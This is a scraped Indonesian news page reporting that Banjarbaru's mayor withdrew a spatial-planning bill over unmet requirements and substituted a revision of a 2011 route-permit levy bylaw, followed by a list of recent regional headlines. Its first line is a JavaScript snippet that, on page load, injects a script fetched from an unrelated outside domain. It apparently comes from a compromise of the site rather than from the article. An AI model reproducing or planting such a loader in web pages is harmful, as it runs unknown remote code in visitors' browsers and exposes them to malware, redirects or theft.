(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Raperda Tata Ruang Wilayah Batal Diajukan, Ini Penjelasan Wali Kota Aditya


KANALKALIMANTAN.COM, BANJARBARU – Satu Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru harus dipending karena tidak memenuhi persyaratan.

Pengajuan digantikan dengan Raperda tentang perubahan atas Perda Banjarbaru Nomor 30 Tahun 2011 tentang retribusi izin trayek.

Berdasarkan Pasal 76 ayat 1 huruf a Peraturan Pemerintah Nomor 21 tahun 2021 tentang penyelenggaraan penataan ruang pengajuan peraturan daerah kota tentang rencana tata ruang wilayah kota dari Wali Kota kepada DPRD.

Diterangkan Wali Kota Banjarbaru Aditya Mufti Ariffin, ada dua persyaratan yang belum bisa diselesaikan, sehingga Raperda tentang tata ruang wilayah tidak bisa dilakukan pembahasan sampai persyaratan bisa dilengkapi.

 

Baca juga : Ketua DPRD : Segera Tindaklanjuti Tiga Usulan Raperda

“Ada beberapa persyaratan yang belum bisa dipenuhi dan akan dibatalkan pada Propemperda tahun 2021,” ujar Walikota.

Dua persyaratan yang belum terpenuhi, kata Wali Kota, yakni validasi dokumen kajian lingkungan hidup strategis dari perangkat daerah provinsi yang membidangi urusan lingkungan hidup.

Kemudian, sambungnya, belum adanya rekomendasi peta dasar dari badan yang menyelenggarakan urusan pemerintahan di bidang informasi geospasial.

Berdasarkan kendala tersebut maka dalam Raperda tentang tata ruang perlu adanya Raperda pengganti agar bisa masuk Propemperda (Program Pembentukan Peraturan Daerah) perubahan tahun 2021.

 

Baca juga : Ini Dua Raperda Penyampaian dari Eksekutif ke DPRD Banjarbaru

Raperda tentang perubahan atas Perda Banjarbaru Nomor 30 Tahun 2011 tentang retribusi izin trayek merupakan Raperda yang diusulkan masuk pada Propemperda tahun 2021.

“Perda Nomor 30 Tahun 2011 ini akan direvisi dengan menyesuaikan perkembangan dan kemajuan serta kondisi terkini daerah kita,” pungkasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Desy Arfianty

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

8 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

11 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

12 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

20 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

21 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

22 jam ago

This website uses cookies.